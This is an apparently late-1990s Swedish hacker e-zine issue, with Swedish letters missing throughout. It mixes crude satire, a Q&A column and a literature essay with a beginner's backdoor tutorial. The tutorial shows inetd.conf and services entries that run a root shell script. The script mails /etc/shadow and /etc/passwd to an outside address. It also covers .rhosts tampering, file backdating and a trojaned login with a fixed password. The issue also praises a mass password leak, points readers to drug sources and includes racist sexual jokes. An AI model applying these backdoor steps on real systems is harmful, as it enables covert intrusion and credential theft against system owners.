grna. Det r inte s noga. Det viktiga r att man byter ofta - annars brjar
de att lukta.

ntligen kan det avsljas: spermaflckarna p Monica Lewinskys klnning kom
inte alls frn Bill Clinton!! Frk Lewinsky r inte bara politikergroupie, hon
r ven hackergroupie! Flckarna kom faktiskt frn ett tillflle nr hon var
totalt omttlig, och sg av diverse VSU-profiler + samtliga Phrack-redaktrer
ngonsin + stora delar av 2600-redaktionen + ett antal pensionerade SHA-
medlemmar som fick ett hackerterfall fr att slippa undan villaomrdets gra
tristess. (Varfr fick man inte se ngon bild p den dr nedflckade kln-
ningen i media frresten? Normalt sett brukar de ju jobba hrt p att hitta
bildmaterial, som illustrerar texterna de skriver.)

"Den unge mannen var s ironisk, att jag blev tvungen att gripa honom."
(replik ur operan Tosca)

Ironin fr aldrig ta slut. Knesset och Seinfeld r vra upplysta frebilder,
som har lrt oss att vara totalt BETYDELSEBLINDA och prata lika lnge och lika
allvarligt om hl i strumpor som om atombomber. Ironisk religion r en bra
id: "Ja, jag tror verkligen JTTEMYCKET p Gud, PRECIS hela tiden!" Ironisk
krlek ocks: "Ja, jag LSKAR DIG JTTEMYCKET! Det r ju inte alls s att jag
bara hller dig i handen fr att f knulla senare, och det r ju inte alls s
att du bara har tagit frsta bsta ingenjr fr pengarnas skull." (Det r
ingen tillfllighet att de svenska orden "fstman" och "fstmassa" brjar med
exakt samma bokstver.)

Vi letar stndigt efter nya kickar fr att bota tristessen. I fortsttningen
ska vi bara ha sex med omskurna afrikanska kvinnor. (Vad "det gr fruktans-
vrt ont fr dem"? Det r vl nd inte VRT JVLA PROBLEM!) Det som gllde
1997 gller sllan 1998. "Heroin is so passe", som det str i visan.

Baruch Spinoza uppfann hypertextlnkarna i sitt stora filosofiska verk
"Etiken", dr han lnkar frenetiskt fram och tillbaka.

"I would like to thank Ron and everybody out there in the office who is
responsible for getting my favourite suit in the whole world back from those
people at the laundromat. Thank you very much. I sewed it up myself. I ran out
of thread round about *here*, but it's OK. These people kept my suit since
last April. They wouldn't give it back to me."

- Michael Stipe / R.E.M., under en livekonsert i Universal Amphitheatre, Los
Angeles den 30/9 1986

En belysande liknelse, fr att ni verkligen ska frst den totalt rulande
visdomen i det vi har att komma med: Tnk dig en liten svensk igelkott som
heter Igge, och som har en flickvn som heter Iggelina. Precis som alla andra
igelkottar s har de aldrig riktigt fattat att det dr med att flla ut sina
taggar fr att skydda sig mot omvrldens faror inte fungerar s bra nr man r
mitt ute p en motorvg och en massa bilar nrmar sig. Jag har ingen som helst
pong med den hr liknelsen. Jag bara skriver en massa skit fr att ni ska bli
irriterade p mig.

Som ni har mrkt r vi inte njda med samhllet. Saker borde vara mycket
mycket 0ndare! Folk borde strunta i att g till jobbet, och runka med den fula
blgula svenska flaggan istllet. r det d ingen del av samhllet som vi
uppskattar, frutom undergroundsfren? Svar: Jomen, matproduktionen r helt
OK! D tnker jag inte p de pjkiga bnder som pratar om "lyckliga hnor som
fr g ute i sin naturliga milj", utan p de vanliga tuffa bnderna som har
olyckliga hnor som proppas fulla med antibiotika och lider inne i sina
minimala burar! TUFFHET! 0NDSKA! Vi skulle inte kommit p ngot ondare och
vrre, hur lnge vi n hade smitt vra jvulusiska planer! Maximal respekt
till Sveriges alla 0nda bnder!


// Ulf of VSU


------------------------------------------------------------------------------


NYBRJARHACKING: BAKDRRAR
-========================-


OK, du har roffat t dig en jmrans /etc/shadow-fil med ngon 0nd teknik. Du
har knckt lsenorden i den filen med ngot 0nt program. Du har loggat in p
systemet, och tagit ver det - du har blivit r00t med ngon 0nd exploit.

Hur gr man sedan fr att kunna fortstta anvnda detta konto lnge? Jo, man
installerar en eller flera bakdrrar! Det har du skert lst om i en och annan
sensationslysten hackerbok ute p marknaden. Idn bakom detta r att om
sysadminen upptcker att han har ftt in en massa hackerohyra och brjar byta
lsenord och ta bort buggiga CGI-skript och uppdatera iChat-servrar och
mountd-demoner och annat osorterat brte som ligger och skrpar, s ska du
fortfarande ha en chans att komma in. Du gmmer olika tjnster i systemet som
du kan kra utifrn s att du kan komma in igen.

Detta kan gras p olika stt. En klassiker i sammanhanget r att skapa en ny
TCP/IP-tjnst p datorn som du har hackat. Det lter svrare n vad det r.
Man blir r00t p ett system (fr att kunna editera olika filer obehindrat),
och sedan redigerar man tv filer, /etc/services och /etc/inetd.conf ..

Hr fljer ett exempel. I detta exempel skapar vi en ny TCP-tjnst, som heter
http2 och som svarar p port 37337!

I /etc/services ska du lgga till en rad som kan se ut ngot i den hr stilen:

http2 37337/tcp http2

Denna rad sger att systemet kr en tjnst som heter http2, och att man kan
anropa denna med en TCP-uppkoppling till port 37337. (Ni kan ju iofs vlja
ngot annat nummer - det dr r ju lite uppenbart fr folk som vet ngot om
hackers och B1FF och sdant.) P mnga system r dessa tre flt inte ihop-
skrivna som ovan, utan snarare uppspaltade i kolumner, och d ser det ju bst
ut om du gr det ocks. P vissa system r de olika raderna i denna fil
sorterade efter portnummer, och d ser det bst ut om du lgger in raden p
sin rtta plats.

I /etc/inetd.conf ska du lgga till en rad som kan se ut ngot sdant hr:

http2 stream tcp nowait root /bin/sh sh /lang/jamrans/sokvag/http2.svin.apa

Den frsta kolumnen (http2) sger att det r det protokollet som det r frgan
om. Det r bra att vlja ngot protokoll som finns (som HTTP), och lgga till
ngot versionsnummer som r alldeles fr hgt och betecknar ngon version av
HTTP som inte har kommit nnu (som HTTP/2.0). D ser det vid frsta anblicken
ut som en helt laglig del av filen, som sysadminen tycker ska vara dr. De
fljande tv kolumnerna (stream och tcp) sger att det r en TCP-uppkoppling
det r frgan om. Den fjrde kolumnen (nowait) anger om kommandot ifrga ska
kras en gng eller upprepade gnger. Skriv inte wait i den kolumnen, fr d
kommer din 0nda bakdrr att kras ett ondligt antal gnger, istllet fr en
gng! Den femte kolumnen (root) anger vilken anvndare i systemet som
kommandot ska kras som. Den sjtte kolumnen (/bin/sh) anger vilket program
som ska kras. Resten av raden (sh /lang/jamrans/sokvag/http2.svin.apa) anger
vilken kommandorad som /bin/sh ska kras med.

ven fr /etc/inetd.conf-filen gller att man kan behva placera in ovan-
stende rad p ngon plats i filen dr den passar in.

Skvgen /lang/jamrans/sokvag/http2.svin.apa r bara menad som ett exempel.
Hr skriver du istllet ngon lmplig fil, som inte redan finns i systemet och
som ligger lngt bort i ngon undanskymd katalog med ngra filer som ingen
kommer att rensa bort men som ingen heller tittar p srskilt ofta. Ge filen
ett namn som passar in bland de andra namnen i katalogen. En del mnniskor
tror att man ska lgga bakdrrar i /tmp-katalogen. Det r dumt, eftersom denna
katalog rensas p mnga UNIX-system nr de bootas om, och pongen med en
bakdrr r ju att den ska finnas dr och fungera nr du behver den om flera
mnader.

Sedan skapar du filen i frga, antingen den heter http2.svin.apa eller ngot
annat. Denna ska innehlla kommandon till /bin/sh, dr hela skvgarna till
alla kommandon och filer br finnas med. Den ska inte ha ngon inledande
kommentarrad som anropar /bin/sh, eftersom vi redan har gjort detta anrop. Ett
exempel p innehll i denna fil:

/bin/cat /etc/shadow | /bin/mail ewuyrewu@kurir.net
/bin/cat /etc/passwd | /bin/mail ewuyrewu@kurir.net

Kontot p kurir (eller hotmail eller ngot sdant) skapar du just fr att ta
emot lsenordsfiler frn systemet. Andra roliga saker man kan gra hr r att
lgga till 0nda rader i .rhosts eller hosts.equiv-filer s att man kan logga
in p systemet med rlogin utan att behva ngra lsenord, eller att lgga upp
en kopia av systemets /etc/shadow-fil i deras webserverkatalog under ett
filnamn som det inte finns ngra lnkar till ngonstans. D kan vem som helst
som vet om URL:en hmta ner /etc/shadow-filen drifrn, men den mrks inte fr
de som inte har ftt URL:en. Kom ihg att dessa kommandon krs som root, s du
kan kra vilka kommandon som helst i den hr filen. Var kreativ (och 0nd!).

Inetd-demonen som skter de flesta TCP/UDP-uppkopplingar till UNIX-system (men
inte riktigt alla, exempelvis HTTP-servrar brukar klara sdant dr sjlv fr
hastighetens skull) fattar lite trgt. Den mrker inte att man ndrar p
/etc/services och /etc/inetd.conf, s man mste sga till den. Det gr man
genom att skicka en HUP-signal till den. D lser den in filerna igen, och
fortstter sedan att jobba som om inget hade hnt.

Hur skickar man en HUP-signal till inetd-demonen? Jo, frst mste du veta
vilket processnummer som inetd-demonen har. Det fr du reda p med kommandot
"ps". Detta har olika parametrar i olika dialekter av UNIX. Du kan prova med
"ps aux |more" och "ps -Af |more". Den siffra som str p samma rad som
inetd r processnumret. Sedan skickar man en HUP-signal med kommandot
"kill -HUP numret".

Sedan ska det fungera! Prova genom att telnetta till systemet p port 37337
eller ngon annan port som du har valt. Systemet ska koppla upp och sedan
koppla ner inom en sekund. Kontrollera nu att allt som ska utfras i din
bakdrr verkligen har krts, att alla mail har skickats och att alla .rhosts-
grejer och webndringar har genomfrts.

En extra finess r att ndra alla dessa filers ndringsdatum, s att det inte
syns s tydligt att du har ndrat dem just idag. Det gr man med kommandot
"touch -t tid filnamn", dr tid har formatet 199505301122 fr klockan 11:22
den 30:e maj 1995. D kommer det att se ut som om filerna senast ndrades
denna tidpunkt, om ngon tittar p filerna med kommandot "ls". UNIX-system har
flera tidsangivelser fr varje fil, och detta ndrar inte p alla dessa, s en
elitsysadmin kommer att mrka att tiderna r ndrade.  andra sidan r det
troligt att en elitsysadmin vet vad /etc/services och /etc/inetd.conf r fr
filer, och att han/hon ocks vet att HTTP/2.0 inte finns, s nr det gller
mer kunniga mnniskor fr du hitta p tuffare bakdrrar n s hr.

Vad finns det fr bakdrrar som r tuffare? En rolig grej r att ndra olika
systemprogram som /bin/login eller telnetd-demonen eller ngot annat, s att
de ser ut att fungera som vanligt men har ngon liten extra finess (som att
man alltid kan logga in som root om man anger lsenordet "VSURULAR", oavsett
vad root egentligen har fr lsenord). Detta krver att du har tillgng till
kllkoden fr det program du vill ndra, fr exakt den version av operativ-
systemet som datorn som du hackar kr. Det r viktigt att det r exakt rtt
version, fr annars kan saker brja krngla och d kommer de definitivt att
misstnka att de ftt hackare i sina maskiner. Om de kr Linux kan det tnkas
vara ltt att f tag p dessa kllkoder, men om de kr HP-UX eller ngon annan
kommersiell UNIX kan det vara svrare. Nr du har ftt tag p denna kllkod
gr du bara erforderliga ndringar och kompilerar programmet.

Finns det ngra metoder fr sysadminmnniskor att upptcka ndringar i dessa
systemfiler (/etc/services och /etc/inetd.conf)? Ja. Frutom den manuella
metoden (att g igenom filerna med "more" d och d, och se om ngon har gjort
ngot styggt) finns det program som automatiskt med jmna mellanrum rknar ut
en checksumma p vissa filer, jmfr den utrknade checksumman med en gammal
checksumma som r lagrad i en fil, och slr larm om checksummorna inte
stmmer. Ett populrt sdant checksummessystem heter MD5. Teoretiskt sett
borde det ju g att hacka MD5 efter att man har blivit root, och ta bort det
eller rent utav fejka filen dr checksummorna lagras, s att MD5 fortfarande
r igng men tror att allt r OK ven nr det inte r det. (Vi kanske kan
terkomma till detta i ngot kommande nummer.)

Det var meningen att det skulle vara nnu mer tekniska artiklar i detta sjtte
VSU-nummer. Jag har hllit p med TCP/IP och 0nda IP-datagram och det gamla
goda ultravldet den senaste tiden, och det var meningen att tminstone ett av
de program jag hller p att utveckla skulle vara med i det hr numret. Men
det sket sig, eftersom UNIX-systemet dr jag utvecklar dessa program krnglade
ovanligt mycket. Men mycket TCP/IP-material utlovas allts, i nsta VSU.

Tills dess, kom ihg att vga vgra fnstergrnssnitt med ikoner, mss och
annat skrp! KOMMANDORADEN R NRDENS NIRVANA, LJUSET I TUNNELN SOM VI ALLA
STRVAR EFTER ATT N!


// Ulf of VSU


------------------------------------------------------------------------------


TELIAHACKET
-=========-


En kort tid efter att vrt frra nummer kom ut genomfrdes det kanske tuffaste
hacket i Sverige ngonsin. Jag talar naturligtvis om Teliahacket!! Ett gng
17-ringar tog sig in i Telias maskiner genom deras POP-mailserver. Denna
mailserver var utvecklad av Qualcomm, och hade en buffer overflow-bug som
numera r fixad. (Buffer overflow-buggar uppstr nr inkompetenta
programmerare definierar att en strng max ska vara ett visst antal tecken
lng, och sedan glmmer bort att kolla att det som kopieras in i strngens
utrymme i minnet inte fr vara lngre n s. Om man skickar en speciell strng
till programmet, som har ett kort assemblerprogram p ett strategiskt viktigt
stlle i strngen, kan man som utomstende f en server att utfra valfritt
kommando. Motsvarande teknik anvnds p datorer dr man har ett konto som inte
r root, om man vill bli root. D skickar man speciellt uppbyggda strngar
till program som r SUID root.)

Sedan tog de fram giltiga lsenord till alla 197 000 konton som de fick tag i.
Telias gamla lsenordsalgoritm var korkad, s det var enklare n vad det
skulle ha varit p ett UNIX-system. Den frdiga filen, med 197 000 anvndar-
namn och lsenord lades ut p Internet. Fr att visa syftet med detta hack
skrev de ocks ett meddelande om att Telia borde infra "flat rate", lngst
upp i textfilen.

Media gick igng p detta p allvar. TV-nyheter och dagstidningar som normalt
sett rapporterar vldigt litet om datorunderground tog upp detta. Telia fick
ven frklara sig fr Datainspektionen.

Jag tror ju inte att Telia kommer att infra "flat rate", bara fr att ngra
hackers sger t dem att de vill ha det. Om de ker fast fr detta kommer de
frmodligen att f grova straff. Men iallafall, vilket tufft hack! Ord!!

Titta grna p hackets officiella hemsida (http://surf.to/telia020) som har
olika lnkar till textfilen p olika sites, fler lnkar till artiklar om
hacket i massmedia, och en Java-applet dr man kan rja runt med hr Arnestigs
ansikte ;) .. Det fanns ocks en annan websida frut, som hade teknisk
information om Telias konton, med olika algoritmer och knckningsprogram som
man kunde ladda ner, men den r tyvrr nerlagd.

Lsenordsfilen finns fortfarande att f tag p. Att frska anvnda ngot av
de Telia 020-konton som finns med i den rekommenderas inte, eftersom Telia har
varit snabba med att bde byta ut lsenord och att busta folk som anvnder
lsenorden olovligt. Men den finns att ladda ner hr och dr, fr er som vill
ha kvar den som en souvenir frn ett av de tuffaste hacken ngonsin i
Sverige.


// Ulf of VSU


------------------------------------------------------------------------------


Q & A
-===-


Hej och vlkomna till vr astuffa frgespalt. Hr svarar vi p ngra frgor
som vi har ftt sedan sist. Skicka grna in flera frgor, p vr fina adress
harnhammar@yahoo.com ..


(1)

Kra VSU,

nu har man terigen suttit framfr televisionapparaturen och sett politiker
spy sin korrumperade vljar-exploitkod likt svart galla ver tilltnkta offer
(ls pensionrer, ungdomar, invandrare, barnfamiljer, ensamstende mdrar) men
nu var det ngot som inte stmde.. Det hade dykt upp nnu ett hot ur det
slemmiga vstkustavloppet i form av en programledare fr ett s kallat
"underhllningsprogram" vars grundlggande funktion r att frruttna hjrnorna
samt tanka pengar frn de dumma massorna. Han satt helt enkelt bara dr och
insp bajstarnas exploits i syfte att utveckla det ultimata takeoverscriptet.
Han hade frberett det hela skickligt genom att i sina program bryta ner folks
mentala motstndskraft med dansbandsmusikstortyr  det grvsta fr att sedan
muta de f opverkade med ngra miljoner hit och dit, vilket fick folket att
tro att det rrde sig om en "go gubbe", och inte nnu en antikrist som vi
klarsynta frstod. (Det var rtt enkelt egentligen.. Den utpekade
njesprofilen hade nmligen mustach och det hade ven Hitler, s det s!) Nr
det vl r dags fr val s kommer detta monster att slunga sig upp likt
grdagens middag p barrikaderna och pminna massorna om att pengar r den
enda lyckan och att de egentligen skiter i politiska frgor. De skall ge honom
makten fr han har cashen, och har ngon en sikt s r det bara att kra ner
en fet sedelbunt i kften p dissidenten s blir han glad. Sedan tvingas
Sveriges invnare att g runt utkldda till lila bjrnar under en massiv
bombard av dansbandsmusik..

Nu till min frga:

Vad skall jag gra?

Sg inte att jag skall prata med ngon vuxen eller kuratorn. Jag har redan
frskt det, men de var inblandade i konspirationen och sa att jag var galen
och ville lsa in mig. Jag kmpade fr mitt liv och undkom..


// 94n1/<


Svar:

Det hr r en mycket viktig insndare fr alla som r det minsta intresserade
av politik. Klarsynt beskriver den hur det egentligen r i Sverige idag.

Ngra sm tillgg: njesprofilen i frga intervjuade alla vra partiledare i
TV kort innan valet. Kan det vara fr att han skulle komma t att sva ner dem
och operera in radiosndare i deras hjrnor? Carl Bildt (MMMarabou) ville
frst inte bli intervjuad. Kan det vara fr att han hade genomskdat den 0nda
komplotten frn villaomrdena? Valstugorna vid Sergels Torg i Stockholm var
utplacerade mitt emot Sandy's, som vi redan har avsljat som en av de
verkliga maktfaktorerna i komplotten. Tror ni att det bara r en
tillfllighet? Bevisen r vervldigande!

(Observera vad hrt vi anstrnger oss fr att skaffa oss ett rykte som ett
svenskt, hyperexcentriskt svar p Karl Koch. Ifrgastt alltid allas motiv
till allt.)

Dessutom kan man verkligen undra varfr denne njesprofils uschla TV-program
pgr s jmrans lnge. Kan man kanske se det som ett slags buffer overflow-
funktion, som p alla dessa 0nda exploitz som man laddar ner frn
http://www.rootshell.com/ och http://www.insecure.org/ eller ngot? r det s
att om man snder tillrckligt lnge uppstr en buffer overflow i
massmnniskornas hjrnor, s att man kan ta ver dem p rootniv och f dem
att gra vad som helst? Detta krver nrmare forskning!

Vad man ska gra t det? Ja, sg det. Sjlv tnker vi fortstta som vanligt
med att leva p socialbidrag och knarka och hacka snder UNIX-maskiner och
snda ut 0nda IP-paket p ntet och dra ver horor.


(2)

Har ni ngon syra att slja?


// (jag har verkligen ftt ett sdant brev, men namnet r bortcensurerat)


Svar:

Eh, jag TROR inte att jag tnker langa till folk som jag inte knner som hr
av sig till mig ver ntet. ven om man har en tuff epostadress, typ
mephistophelez@unix-nrrrdz.org, r ju inte det ngon garanti fr att man inte
jobbar p Polisen. Det enda man bevisar genom att ha en sdan adress r att
man knner den som har registrerat den domnen, och ven poliser kan ju
skaffa sig sdana kontakter, just fr att nstla sig in bland hackers.

Men om du vill ha droger r ju http://www.smartdrugstore.com/ en bra lsning.
Annars kan man ju ka ner till Christiania en svng, fast det blir jvla dyrt
om man bor i Norrland. Om man bor i Stockholm kan ocks Plattan p Sergels
Torg och diverse frorter med dligt rykte lngt ut p bl tunnelbanelinje
vara en lsning fr wannabe-knarkaren.


(3)

Kan ni inte skriva mindre om politik och mer om datorer? Mina frldrar bor
faktiskt i villa, s jag blir lite srad nr ni skriver s dr. Jag r sjlv
ganska datorintresserad, men frmst hller jag p med data fr att kunna gra
karrir och tjna mycket pengar som en riktig vinnare om ngra r. Jag har
satsat p Coad/Yourdons systemeringsmodeller och programmeringssprket
SmallTalk, fr det tror jag att nringslivet kommer att efterfrga i
framtiden.


// Runar of Villaomrdet i Lotorp


Svar:

SVIN! APA! HAT! D!


(4)

Jag sg att ni beskrev er gamla inriktning som "ironisk humor" i VSU#5. r
ven de texter i VSU som kritiserar kommersialiseringen av datorbranschen
menade som underhllning, eller finns det ngon allvarligare undermening som
ligger bakom?


// W3ir0n of Ung Vnster, storkonsument av palestinaschalar och National-
teatern-skivor, medlem i Mikael Wiehes fanclub


Svar:

Den allvarliga undermening som finns dr r samma som hos open source-rrelsen
(ni vet, GNU-projektet och Linux-mnniskorna och de dr). Vi tycker att alla
datorprogram br spridas fritt och gratis med kllkod, och att ven all annan
information br spridas fritt och gratis, och vara tillgnglig fr alla. Vi
inser att det r annorlunda med andra delar av IT-branschen, och det r OK
att datorer, Internetuppkopplingar och support kostar pengar. Men med
programmen frhller det sig lite annorlunda. Jag menar, det r ju inte en
tillfllighet att open sourceprogrammen i UNIX-vrlden r s pass mycket
bttre och skrare n sina kommersiella motsvarigheter fr Windows. (En av
mnga anledningar att slnga ut Windows och brja kra UNIX redan idag.)

Kolla grna http://www.gnu.org/ och http://www.opensource.org/ om ni orkar
ngon dag.


(5)

Hur packar man upp "upldbomb.tgz"? Det funkar junte med PKUNZIP! Frresten,
vet ni hur man hackar Telias hemsida?


// 3v17 M364 w4rr10R+++ / 73610n 0F 3x9701+zZZz


Svar:

SVIN! APA! HAT! D!


// Ulf of VSU


------------------------------------------------------------------------------


EN AKADEMISK REDOGRELSE VER VARFR TJUVSAMHLLET SUGER KUK
-==========================================================-


Hr r en litteraturuppsats frn en av kurserna som ingick i Engelska C, som
jag pluggade nr VSU startade. En del av er kommer skert att tycka att det
verkar skittrist, och en del andra r skert inte tillrckligt bra p
engelska fr att frst pongen. Jag tycker nd att innehllet i uppsatsen
har mycket med VSU att gra, s drfr tar jag med den hr.

Den hr uppsatsen anvnder litteraturvetarens frmsta verktyg: gamla
klassikerbcker frn litteraturens kanon och resonerande runt dessa bcker p
ett teoretiskt plan, grna med referenser till diverse filosofer. Pongen med
uppsatsen som inte r helt tydlig frrn i det sista stycket r att
argumentera mot civilisation och samhlle i allmnhet, och alla universitet
och hgskolor i synnerhet, eftersom jag menar att mycket av det frtryck som
syns i de tre bckerna som jag skriver om uppstr just ur denna civilisation
och ur universiteten med deras logiska resonemang och just deras litterra
kanon.

Jag anvnder allts litteraturvetarens verktyg mot litteraturvetaren sjlv!
Bland det mer rebelliska som jag har skrivit, enligt min egen sikt.

Uppsatsen tar upp tre gamla klassiker av Hemingway, Twain och Faulkner. ven
den engelska titeln p min uppsats r frresten en pik till alla verdrivet
pretentisa uppsatstitlar som alla akademiker brukar hlla sig med.

Hr brjar elndet:


-------------------


Stockholm University
Department of English
The American Novel before 1945, Group II
Take-Home Exam


RELIGION, CAPITALISM, FREEDOM AND IDENTITY
IN THREE NOVELS FROM THE LITERARY CANON


Author: Ulf Hrnhammar
Supervisor: David Minugh


In _The Adventures of Huckleberry Finn_ and _The Sun Also Rises_, as well as
in _The Sound and the Fury_, the environment that the protagonists exist in
is mostly one of untamed nature. It has got the same attributes that we
usually associate with it: it is emotional, wild and passionate - sometimes
(but not always) in a dangerous way. Every good story needs a conflict, and
in these three novels there is one between nature and human behaviour
governed by rules, as in the religious and economic themes that feature
prominently.

In _The Adventures of Huckleberry Finn_, Huck and Jim have got their own set
of morals that differ from the morals in the society that they live in.
According to Swahn, to live on a raft is to be free, but as a cold
counterweight against this freedom, they have brought the facts of money and
power abuse along on their journey (Swahn in Twain, 300). At one point, Twain
even makes it obvious that nature is in fact very powerful and controls life
and death: Huck and his father disappears, and everyone thinks that they are
dead, while they are in fact hiding out in the woods.

In _The Sound and the Fury_, characters such as Caddy, the female Quentin and
Benjy are all governed more by emotion than by thought. Both Caddy and the
female Quentin have sex when they want to, as opposed to Gerald and his
friends at university who see those things more as a vehicle to further their
career. There are even hints of an incestuous relationship between Caddy and
the male Quentin (Faulkner, 279). As the female Quentin puts it: "I dont care
[...], I'm bad and I'm going to hell, and I dont care. I'd rather be in hell
than anywhere where [Jason is]" (Faulkner, 207). Caddy's father is not really
one of these emotional characters, but he does drink himself to death. They
even have to castrate Benjy (Faulkner, 270), to be able to control his
emotional life.

In _The Sun Also Rises_, the characters go back and forth between emotional
and cold behaviour. They behave differently in Spain, when faced with the raw
emotion of the bull fighting, than they did back in France. There are also
points of similarity between the freezing out of Cohn, after he dares to show
some real emotion, and the bulls' rejection of the steer in the fights.

This type of emotional behaviour that I have described in the previous few
paragraphs can be defended by several philosophical and political theories.
Friedrich Nietzsche's theories of the revaluation of all values, "the essence
of the world is the will to power" and the doctrine of the uebermensch fit
particularly well (Filosofin Genom Tiderna: 1800-talet, 134-137), especially
as he disliked Christianity as much as Caddy or Brett do. Nietzsche also
thought it fatal to disregard the Dionysian element - the wild and ecstatic,
and that the purely intellectual, analytical tradition is devastating
(Fredriksson, 191). David Hume with his theories about passion and Rousseau
with his noble savage are two other philosophers who also thought it more
important to listen to your emotions than to follow rules (Filosofin Genom
Tiderna: 1600- och 1700-talet, 263-264). There are also some political
ideologies like neo-liberalism or anarchism that want more freedom for the
individual, which allow people to follow their emotions more than they do now
(Larsson, 82, 112).

If we leave the characters governed by emotion behind and concentrate on the
colder characters, we have Emmeline in _The Adventures of Huckleberry Finn_,
who dies with a painting featuring too many arms (Twain, 137), as she cares
more about how things look than whether the whole painting does communicate
anything emotionally true. Mrs Hotchkiss in the same novel does not come
across as a very open-minded and free-spirited person either (Twain, 355),
and somehow we understand Huck when he chooses to go on travelling instead of
spending the rest of his life listening to her. In the same collective of
people who think too much and do not listen to their feelings, we also have
Tom Sawyer, who according to Swahn is poisoned by literature and incapable of
seperating between fiction and the real world, thus trying to force the rules
of fiction on the real world (Swahn in Twain, 300). Huck's fellow companions
continue on the same unemotional theme when they show unbelievable cruelty by
selling Jim for 40 dollars.

In the same way, people in _The Sun Also Rises_ are false enough to have
friends or even wives that they do not really like, and the French people in
the book are prepared to like anyone who give them lots of tips (Hemingway,
245). The set-up boxing-matches (Hemingway, 77) and the fire baloons that
people fail to send up (Hemingway, 187-188) serve as a fitting background to
the failure of civilization.

In _The Sound and the Fury_, Jason tries very hard to follow the rules
dictated to him by the economic and religious worlds, but it does not make
him very happy, nonetheless. When the male Quentin tries to help the poor
girl, everyone thinks that he is going to abduct her (Faulkner, 144 ff), as
they all live in a world where altruism does not exist.

When we talk about the rules that religion dictate, it is important to note
that free will has to exist for the concept of good or bad behaviour to be
meaningful. In a monist and singular world such as the one described by
philosopher Spinoza (Filosofin Genom Tiderna: 1600- och 1700-talet, 118),
where everything is one substance and where everything is predetermined, the
concept of good behaviour is meaningless. Spinoza thought that we are not
able to do anything God does not want us to, as God is the world. Obviously
Benjy has not made the choice to become what he is, but has Caddy or the
female Quentin done such a choice?

There is also a lot of playing around with identity in these novels.
Huckleberry dresses up like a girl, and later he pretends to be Tom and Tom
pretends to be Sid. Of course, his fellow travellers also make it obvious
that anyone could pretend to be a king or learn to behave like a Harvard
graduate. In _The Sound and the Fury_, people's names get changed and
re-cycled a lot. Identity is something very fluid, like in the very
interesting part of _The Adventures of Huckleberry Finn_, where Jim and Huck
say that the French speak French and that cats do not speak like cows (Twain,
108-109). There is a difference, however: the French have learned to speak
French, while the language of cats are ruled by their genes. This reminds us
of Aristotle and his theory of the substance, the first of his ten
categories, the essence of a thing (Filosofin Genom Tiderna: Antiken,
Medeltiden, Renssansen, 165-166).

The oppression described in all these novels are not built into people's
genes the same way that cows have to make certain sounds. The dualism that is
the topic for this essay causes oppression, but this is something temporary
that we can change. We have to remember that the satisfaction that Gerald's
mother gets out of her son's career choices is in many aspects similar to the
satisfaction that Benjy gets out of looking at his favourite mirror. Harvard
is just a dead word (Faulkner, 193), signifying nothing.


BIBLIOGRAPHY


PRIMARY SOURCES

Faulkner, William. _The Sound and the Fury & As I Lay Dying_. New York:
Random House, 1946.

Hemingway, Ernest. _The Sun Also Rises_. Stockholm/London: Zephyr Books,
1947.

Twain, Mark. _The Adventures of Huckleberry Finn_. Stockholm: Zephyr Books,
1944.


SECONDARY SOURCES

_Filosofin Genom Tiderna: 1600- och 1700-talet_. ed: Marc-Wogau, Konrad.
Karlshamn: Thales, 1992.

_Filosofin Genom Tiderna: 1800-talet_. ed: Marc-Wogau, Konrad. Karlshamn:
Thales, 1993.

_Filosofin Genom Tiderna: Antiken, Medeltiden, Renssansen_. ed: Marc-Wogau,
Konrad. Karlshamn: Thales, 1991.

Fredriksson, Gunnar. _20 Filosofer_. Stockholm: Pan/Norstedts, 1997.

Larsson, Reidar. _Politiska Ideologier I Vr Tid_. Lund: Studentlitteratur,
1990.

Swahn, Sven Christer. (an essay on _Huckleberry Finn_). Published in: Twain,
Mark. _Huckleberry Finns ventyr_. Stockholm: Klassikerfrlaget Niloe, 1992.


// Ulf of VSU


------------------------------------------------------------------------------


......
-====-


Kibo.

Fnord?

Commodore Teenage Riot! En av en miljon exakt likadana svenska $ofia-flickor
ramlade ner i en flera kilometer djup gatubrunn, och sedan var det bara
999999 exakt likadana svenska $ofia-flickor kvar. Unge man nu schka ja
bertta frej va live' gr up! Klart grabben ska ha en SCUD-missil! Monique,
take the tigers away!


// Ulf of VSU
